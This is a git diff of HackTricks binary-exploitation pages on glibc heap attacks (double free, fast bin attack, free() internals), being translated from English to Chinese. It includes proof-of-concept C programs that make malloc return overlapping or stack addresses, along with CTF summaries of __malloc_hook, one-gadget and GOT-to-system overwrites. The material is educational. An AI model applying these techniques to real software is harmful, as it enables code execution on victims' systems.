+如果你多次释放一个内存块,它可能会破坏分配器的数据并打开攻击的门。事情是这样的:当你释放一个内存块时,它会返回到一个空闲块的列表中(例如,“快速 bin”)。如果你连续两次释放同一个块,分配器会检测到这一点并抛出错误。但是如果你**在两次释放之间释放了另一个块,双重释放检查就会被绕过**,导致损坏。
-Now, when you ask for new memory (using `malloc`), the allocator might give you a **block that's been freed twice**. This can lead to two different pointers pointing to the same memory location. If an attacker controls one of those pointers, they can change the contents of that memory, which can cause security issues or even allow them to execute code.
-
-Example:
+现在,当你请求新的内存(使用 `malloc`)时,分配器可能会给你一个**已经被释放两次的块**。这可能导致两个不同的指针指向同一个内存位置。如果攻击者控制了其中一个指针,他们可以更改该内存的内容,这可能导致安全问题,甚至允许他们执行代码。
+示例:
```c
#include
#include
int main() {
- // Allocate memory for three chunks
- char *a = (char *)malloc(10);
- char *b = (char *)malloc(10);
- char *c = (char *)malloc(10);
- char *d = (char *)malloc(10);
- char *e = (char *)malloc(10);
- char *f = (char *)malloc(10);
- char *g = (char *)malloc(10);
- char *h = (char *)malloc(10);
- char *i = (char *)malloc(10);
+// Allocate memory for three chunks
+char *a = (char *)malloc(10);
+char *b = (char *)malloc(10);
+char *c = (char *)malloc(10);
+char *d = (char *)malloc(10);
+char *e = (char *)malloc(10);
+char *f = (char *)malloc(10);
+char *g = (char *)malloc(10);
+char *h = (char *)malloc(10);
+char *i = (char *)malloc(10);
- // Print initial memory addresses
- printf("Initial allocations:\n");
- printf("a: %p\n", (void *)a);
- printf("b: %p\n", (void *)b);
- printf("c: %p\n", (void *)c);
- printf("d: %p\n", (void *)d);
- printf("e: %p\n", (void *)e);
- printf("f: %p\n", (void *)f);
- printf("g: %p\n", (void *)g);
- printf("h: %p\n", (void *)h);
- printf("i: %p\n", (void *)i);
+// Print initial memory addresses
+printf("Initial allocations:\n");
+printf("a: %p\n", (void *)a);
+printf("b: %p\n", (void *)b);
+printf("c: %p\n", (void *)c);
+printf("d: %p\n", (void *)d);
+printf("e: %p\n", (void *)e);
+printf("f: %p\n", (void *)f);
+printf("g: %p\n", (void *)g);
+printf("h: %p\n", (void *)h);
+printf("i: %p\n", (void *)i);
- // Fill tcache
- free(a);
- free(b);
- free(c);
- free(d);
- free(e);
- free(f);
- free(g);
+// Fill tcache
+free(a);
+free(b);
+free(c);
+free(d);
+free(e);
+free(f);
+free(g);
- // Introduce double-free vulnerability in fast bin
- free(h);
- free(i);
- free(h);
+// Introduce double-free vulnerability in fast bin
+free(h);
+free(i);
+free(h);
- // Reallocate memory and print the addresses
- char *a1 = (char *)malloc(10);
- char *b1 = (char *)malloc(10);
- char *c1 = (char *)malloc(10);
- char *d1 = (char *)malloc(10);
- char *e1 = (char *)malloc(10);
- char *f1 = (char *)malloc(10);
- char *g1 = (char *)malloc(10);
- char *h1 = (char *)malloc(10);
- char *i1 = (char *)malloc(10);
- char *i2 = (char *)malloc(10);
+// Reallocate memory and print the addresses
+char *a1 = (char *)malloc(10);
+char *b1 = (char *)malloc(10);
+char *c1 = (char *)malloc(10);
+char *d1 = (char *)malloc(10);
+char *e1 = (char *)malloc(10);
+char *f1 = (char *)malloc(10);
+char *g1 = (char *)malloc(10);
+char *h1 = (char *)malloc(10);
+char *i1 = (char *)malloc(10);
+char *i2 = (char *)malloc(10);
- // Print initial memory addresses
- printf("After reallocations:\n");
- printf("a1: %p\n", (void *)a1);
- printf("b1: %p\n", (void *)b1);
- printf("c1: %p\n", (void *)c1);
- printf("d1: %p\n", (void *)d1);
- printf("e1: %p\n", (void *)e1);
- printf("f1: %p\n", (void *)f1);
- printf("g1: %p\n", (void *)g1);
- printf("h1: %p\n", (void *)h1);
- printf("i1: %p\n", (void *)i1);
- printf("i2: %p\n", (void *)i2);
+// Print initial memory addresses
+printf("After reallocations:\n");
+printf("a1: %p\n", (void *)a1);
+printf("b1: %p\n", (void *)b1);
+printf("c1: %p\n", (void *)c1);
+printf("d1: %p\n", (void *)d1);
+printf("e1: %p\n", (void *)e1);
+printf("f1: %p\n", (void *)f1);
+printf("g1: %p\n", (void *)g1);
+printf("h1: %p\n", (void *)h1);
+printf("i1: %p\n", (void *)i1);
+printf("i2: %p\n", (void *)i2);
- return 0;
+return 0;
}
```
+在这个例子中,填充 tcache 以包含多个已释放的块(7)后,代码 **释放块 `h`,然后是块 `i`,再然后是 `h`,导致双重释放**(也称为 Fast Bin dup)。这打开了在重新分配时接收重叠内存地址的可能性,这意味着两个或多个指针可以指向同一内存位置。通过一个指针操纵数据可能会影响另一个指针,从而造成严重的安全风险和潜在的利用。
-In this example, after filling the tcache with several freed chunks (7), the code **frees chunk `h`, then chunk `i`, and then `h` again, causing a double free** (also known as Fast Bin dup). This opens the possibility of receiving overlapping memory addresses when reallocating, meaning two or more pointers can point to the same memory location. Manipulating data through one pointer can then affect the other, creating a critical security risk and potential for exploitation.
+执行时,请注意 **`i1` 和 `i2` 得到了相同的地址**:
-Executing it, note how **`i1` and `i2` got the same address**:
-
-
-## Examples
+## 示例
- [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
- - We can only allocate Fast-Bin-sized chunks except for size `0x70`, which prevents the usual `__malloc_hook` overwrite.
- - Instead, we use PIE addresses that start with `0x56` as a target for Fast Bin dup (1/2 chance).
- - One place where PIE addresses are stored is in `main_arena`, which is inside Glibc and near `__malloc_hook`
- - We target a specific offset of `main_arena` to allocate a chunk there and continue allocating chunks until reaching `__malloc_hook` to get code execution.
+- 我们只能分配 Fast-Bin 大小的块,除了大小为 `0x70`,这会阻止通常的 `__malloc_hook` 被覆盖。
+- 相反,我们使用以 `0x56` 开头的 PIE 地址作为 Fast Bin dup 的目标(1/2 的机会)。
+- PIE 地址存储的一个地方是在 `main_arena` 中,它位于 Glibc 内部,并靠近 `__malloc_hook`
+- 我们针对 `main_arena` 的特定偏移量来分配一个块,并继续分配块,直到到达 `__malloc_hook` 以获取代码执行。
- [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
- - Using Tcache bins and a null-byte overflow, we can achieve a double-free situation:
- - We allocate three chunks of size `0x110` (`A`, `B`, `C`)
- - We free `B`
- - We free `A` and allocate again to use the null-byte overflow
- - Now `B`'s size field is `0x100`, instead of `0x111`, so we can free it again
- - We have one Tcache-bin of size `0x110` and one of size `0x100` that point to the same address. So we have a double free.
- - We leverage the double free using [Tcache poisoning](tcache-bin-attack.md)
+- 使用 Tcache bins 和一个 null-byte 溢出,我们可以实现双重释放的情况:
+- 我们分配三个大小为 `0x110` 的块(`A`,`B`,`C`)
+- 我们释放 `B`
+- 我们释放 `A` 并再次分配以使用 null-byte 溢出
+- 现在 `B` 的大小字段是 `0x100`,而不是 `0x111`,所以我们可以再次释放它
+- 我们有一个大小为 `0x110` 的 Tcache-bin 和一个大小为 `0x100` 的 Tcache-bin,它们指向同一地址。因此我们有一个双重释放。
+- 我们利用双重释放使用 [Tcache poisoning](tcache-bin-attack.md)
-## References
+## 参考
- [https://heap-exploitation.dhavalkapil.com/attacks/double_free](https://heap-exploitation.dhavalkapil.com/attacks/double_free)
diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md
index c36c675de..1fe0d4082 100644
--- a/src/binary-exploitation/libc-heap/fast-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md
@@ -2,18 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-For more information about what is a fast bin check this page:
+有关快速分配的更多信息,请查看此页面:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.
-
-As summary:
+由于快速分配是一个单链表,因此其保护措施比其他分配少,**修改已释放的快速分配**块中的地址就足以**在任何内存地址分配一个块**。
+总结:
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
@@ -29,9 +28,7 @@ free(ptr1)
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the which could be abuse to overwrite arbitrary content inside of it
```
-
-You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
-
+您可以在一个非常清晰的代码示例中找到完整的例子,来自 [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
```c
#include
#include
@@ -39,112 +36,111 @@ You can find a full example in a very well explained code from [https://guyinatu
int main(void)
{
- puts("Today we will be discussing a fastbin attack.");
- puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
- puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
- puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
- puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
- puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
- puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
- puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
- puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
+puts("Today we will be discussing a fastbin attack.");
+puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
+puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
+puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
+puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
+puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
+puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
+puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
+puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
- puts("Let's start, we will allocate three chunks of size 0x30\n");
- unsigned long *ptr0, *ptr1, *ptr2;
+puts("Let's start, we will allocate three chunks of size 0x30\n");
+unsigned long *ptr0, *ptr1, *ptr2;
- ptr0 = malloc(0x30);
- ptr1 = malloc(0x30);
- ptr2 = malloc(0x30);
+ptr0 = malloc(0x30);
+ptr1 = malloc(0x30);
+ptr2 = malloc(0x30);
- printf("Chunk 0: %p\n", ptr0);
- printf("Chunk 1: %p\n", ptr1);
- printf("Chunk 2: %p\n\n", ptr2);
+printf("Chunk 0: %p\n", ptr0);
+printf("Chunk 1: %p\n", ptr1);
+printf("Chunk 2: %p\n\n", ptr2);
- printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
+printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
- int stackVar = 0x55;
+int stackVar = 0x55;
- printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
+printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
- printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
+printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
- char *data0 = "00000000";
- char *data1 = "11111111";
- char *data2 = "22222222";
+char *data0 = "00000000";
+char *data1 = "11111111";
+char *data2 = "22222222";
- memcpy(ptr0, data0, 0x8);
- memcpy(ptr1, data1, 0x8);
- memcpy(ptr2, data2, 0x8);
+memcpy(ptr0, data0, 0x8);
+memcpy(ptr1, data1, 0x8);
+memcpy(ptr2, data2, 0x8);
- printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
+printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
- printf("Chunk 0: %s\n", (char *)ptr0);
- printf("Chunk 1: %s\n", (char *)ptr1);
- printf("Chunk 2: %s\n\n", (char *)ptr2);
+printf("Chunk 0: %s\n", (char *)ptr0);
+printf("Chunk 1: %s\n", (char *)ptr1);
+printf("Chunk 2: %s\n\n", (char *)ptr2);
- printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
+printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
- free(ptr0);
- free(ptr1);
- free(ptr2);
+free(ptr0);
+free(ptr1);
+free(ptr2);
- printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
- printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
- printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
+printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
+printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
+printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
- printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
+printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
- printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
- printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
+printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
+printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
- *ptr1 = (unsigned long)((char *)&stackVar);
+*ptr1 = (unsigned long)((char *)&stackVar);
- printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
+printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
- printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
- printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
+printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
+printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
- unsigned long *ptr3, *ptr4, *ptr5;
+unsigned long *ptr3, *ptr4, *ptr5;
- ptr3 = malloc(0x30);
- ptr4 = malloc(0x30);
- ptr5 = malloc(0x30);
+ptr3 = malloc(0x30);
+ptr4 = malloc(0x30);
+ptr5 = malloc(0x30);
- printf("Chunk 3: %p\n", ptr3);
- printf("Chunk 4: %p\n", ptr4);
- printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
+printf("Chunk 3: %p\n", ptr3);
+printf("Chunk 4: %p\n", ptr4);
+printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
- printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
+printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
-
> [!CAUTION]
-> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
+> 如果可以用一个大数字覆盖全局变量 **`global_max_fast`** 的值,这将允许生成更大尺寸的快速 bin 块,可能在之前无法进行快速 bin 攻击的场景中执行。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的上下文中非常有用。
-## Examples
+## 示例
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- - It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- - **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- - **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
- Finally a **one gadget** was written in there.
+- 可以分配块,释放它们,读取其内容并填充它们(通过溢出漏洞)。
+- **合并块以进行信息泄露**:该技术基本上是利用溢出创建一个假的 `prev_size`,使一个前面的块放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印其数据并泄露一个 libc 地址(`main_arena+88`)。
+- **覆盖 malloc hook**:为此,并利用之前的重叠情况,可以有 2 个块指向相同的内存。因此,释放它们两个(在中间释放另一个块以避免保护)可以使同一个块在快速 bin 中出现 2 次。然后,可以再次分配它,覆盖下一个块的地址,使其指向 `__malloc_hook` 之前的一点(因此它指向一个 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收指向 malloc hooks 的地址。\
+最后,一个 **one gadget** 被写入其中。
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- - There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- - **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- - **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
+- 存在堆溢出和使用后释放以及双重释放,因为当一个块被释放时,可以重用和重新释放指针。
+- **Libc 信息泄露**:只需释放一些块,它们将获得指向主 arena 位置的一部分的指针。由于可以重用已释放的指针,只需读取此地址。
+- **快速 bin 攻击**:所有分配的指针都存储在一个数组中,因此我们可以释放几个快速 bin 块,并在最后一个块中覆盖地址以指向这个指针数组之前的一点。然后,分配几个相同大小的块,我们将首先获得合法的一个,然后是包含指针数组的伪造一个。我们现在可以覆盖这个分配指针,使 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,这将执行 `system("/bin/sh")`。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- - Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
+- 另一个例子是利用一个字节溢出在未排序的 bin 中合并块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- - After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- - You can find a Fast Bin attack abused through an unsorted bin attack:
- - Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
+- 在利用未排序的 bin 进行信息泄露后,通过 UAF 泄露 libc 地址和 PIE 地址,此 CTF 的利用使用快速 bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以在 GOT 中写入一个 gadget。
+- 你可以找到通过未排序的 bin 攻击滥用的快速 bin 攻击:
+- 请注意,在执行快速 bin 攻击之前,通常会滥用空闲列表以泄露 libc/heap 地址(在需要时)。
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- - We can only allocate chunks of size greater than `0x100`.
- - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
+- 我们只能分配大于 `0x100` 的块。
+- 使用未排序的 bin 攻击覆盖 `global_max_fast`(由于 ASLR,成功率为 1/16,因为我们需要修改 12 位,但必须修改 16 位)。
+- 快速 bin 攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改 GOT 并将某些函数指向 `system`。
{{#ref}}
unsorted-bin-attack.md
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
index 04855d5fb..e6bde113a 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/README.md
@@ -1,4 +1,4 @@
-# Heap Memory Functions
+# 堆内存函数
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
index e57b1fa77..ae73fd453 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/free.md
@@ -4,93 +4,90 @@
## Free Order Summary
-(No checks are explained in this summary and some case have been omitted for brevity)
+(此摘要中未解释检查,并且出于简洁性省略了一些情况)
-1. If the address is null don't do anything
-2. If the chunk was mmaped, mummap it and finish
-3. Call `_int_free`:
- 1. If possible, add the chunk to the tcache
- 2. If possible, add the chunk to the fast bin
- 3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
+1. 如果地址为 null,不要做任何事情
+2. 如果块是 mmaped,进行 mummap 并结束
+3. 调用 `_int_free`:
+ 1. 如果可能,将块添加到 tcache
+ 2. 如果可能,将块添加到 fast bin
+ 3. 调用 `_int_free_merge_chunk` 以合并块(如有需要)并将其添加到未排序列表
## \_\_libc_free
-`Free` calls `__libc_free`.
+`Free` 调用 `__libc_free`。
-- If the address passed is Null (0) don't do anything.
-- Check pointer tag
-- If the chunk is `mmaped`, `mummap` it and that all
-- If not, add the color and call `_int_free` over it
+- 如果传递的地址为 Null (0),不要做任何事情。
+- 检查指针标签
+- 如果块是 `mmaped`,进行 `mummap`,就这样
+- 如果不是,添加颜色并在其上调用 `_int_free`
__lib_free code
-
```c
void
__libc_free (void *mem)
{
- mstate ar_ptr;
- mchunkptr p; /* chunk corresponding to mem */
+mstate ar_ptr;
+mchunkptr p; /* chunk corresponding to mem */
- if (mem == 0) /* free(0) has no effect */
- return;
+if (mem == 0) /* free(0) has no effect */
+return;
- /* Quickly check that the freed pointer matches the tag for the memory.
- This gives a useful double-free detection. */
- if (__glibc_unlikely (mtag_enabled))
- *(volatile char *)mem;
+/* Quickly check that the freed pointer matches the tag for the memory.
+This gives a useful double-free detection. */
+if (__glibc_unlikely (mtag_enabled))
+*(volatile char *)mem;
- int err = errno;
+int err = errno;
- p = mem2chunk (mem);
+p = mem2chunk (mem);
- if (chunk_is_mmapped (p)) /* release mmapped memory. */
- {
- /* See if the dynamic brk/mmap threshold needs adjusting.
- Dumped fake mmapped chunks do not affect the threshold. */
- if (!mp_.no_dyn_threshold
- && chunksize_nomask (p) > mp_.mmap_threshold
- && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
- {
- mp_.mmap_threshold = chunksize (p);
- mp_.trim_threshold = 2 * mp_.mmap_threshold;
- LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
- mp_.mmap_threshold, mp_.trim_threshold);
- }
- munmap_chunk (p);
- }
- else
- {
- MAYBE_INIT_TCACHE ();
+if (chunk_is_mmapped (p)) /* release mmapped memory. */
+{
+/* See if the dynamic brk/mmap threshold needs adjusting.
+Dumped fake mmapped chunks do not affect the threshold. */
+if (!mp_.no_dyn_threshold
+&& chunksize_nomask (p) > mp_.mmap_threshold
+&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
+{
+mp_.mmap_threshold = chunksize (p);
+mp_.trim_threshold = 2 * mp_.mmap_threshold;
+LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
+mp_.mmap_threshold, mp_.trim_threshold);
+}
+munmap_chunk (p);
+}
+else
+{
+MAYBE_INIT_TCACHE ();
- /* Mark the chunk as belonging to the library again. */
- (void)tag_region (chunk2mem (p), memsize (p));
+/* Mark the chunk as belonging to the library again. */
+(void)tag_region (chunk2mem (p), memsize (p));
- ar_ptr = arena_for_chunk (p);
- _int_free (ar_ptr, p, 0);
- }
+ar_ptr = arena_for_chunk (p);
+_int_free (ar_ptr, p, 0);
+}
- __set_errno (err);
+__set_errno (err);
}
libc_hidden_def (__libc_free)
```
-
## \_int_free
-### \_int_free start
+### \_int_free 开始
-It starts with some checks making sure:
+它开始时进行一些检查,以确保:
-- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
-- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
+- **指针**是**对齐的,**否则触发错误 `free(): invalid pointer`
+- **大小**不小于最小值,并且**大小**也**对齐,**否则触发错误:`free(): invalid size`
-_int_free start
-
+_int_free 开始
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
- INTERNAL_SIZE_T size; /* its size */
- mfastbinptr *fb; /* associated fastbin */
+INTERNAL_SIZE_T size; /* its size */
+mfastbinptr *fb; /* associated fastbin */
- size = chunksize (p);
+size = chunksize (p);
- /* Little security check which won't hurt performance: the
- allocator never wraps around at the end of the address space.
- Therefore we can exclude some size values which might appear
- here by accident or by "design" from some intruder. */
- if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
- || __builtin_expect (misaligned_chunk (p), 0))
- malloc_printerr ("free(): invalid pointer");
- /* We know that each chunk is at least MINSIZE bytes in size or a
- multiple of MALLOC_ALIGNMENT. */
- if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
- malloc_printerr ("free(): invalid size");
+/* Little security check which won't hurt performance: the
+allocator never wraps around at the end of the address space.
+Therefore we can exclude some size values which might appear
+here by accident or by "design" from some intruder. */
+if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
+|| __builtin_expect (misaligned_chunk (p), 0))
+malloc_printerr ("free(): invalid pointer");
+/* We know that each chunk is at least MINSIZE bytes in size or a
+multiple of MALLOC_ALIGNMENT. */
+if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
+malloc_printerr ("free(): invalid size");
- check_inuse_chunk(av, p);
+check_inuse_chunk(av, p);
```
-
### \_int_free tcache
-It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
+它首先会尝试在相关的 tcache 中分配这个块。然而,之前会进行一些检查。它会循环遍历与已释放块相同索引的 tcache 中的所有块,并且:
-- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
-- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
-- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
+- 如果条目超过 `mp_.tcache_count`:`free(): too many chunks detected in tcache`
+- 如果条目未对齐:`free(): unaligned chunk detected in tcache 2`
+- 如果已释放的块已经被释放并且作为块存在于 tcache 中:`free(): double free detected in tcache 2`
-If all goes well, the chunk is added to the tcache and the functions returns.
+如果一切顺利,块将被添加到 tcache 中,函数返回。
_int_free tcache
-
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
- {
- size_t tc_idx = csize2tidx (size);
- if (tcache != NULL && tc_idx < mp_.tcache_bins)
- {
- /* Check to see if it's already in the tcache. */
- tcache_entry *e = (tcache_entry *) chunk2mem (p);
+{
+size_t tc_idx = csize2tidx (size);
+if (tcache != NULL && tc_idx < mp_.tcache_bins)
+{
+/* Check to see if it's already in the tcache. */
+tcache_entry *e = (tcache_entry *) chunk2mem (p);
- /* This test succeeds on double free. However, we don't 100%
- trust it (it also matches random payload data at a 1 in
- 2^ chance), so verify it's not an unlikely
- coincidence before aborting. */
- if (__glibc_unlikely (e->key == tcache_key))
- {
- tcache_entry *tmp;
- size_t cnt = 0;
- LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
- for (tmp = tcache->entries[tc_idx];
- tmp;
- tmp = REVEAL_PTR (tmp->next), ++cnt)
- {
- if (cnt >= mp_.tcache_count)
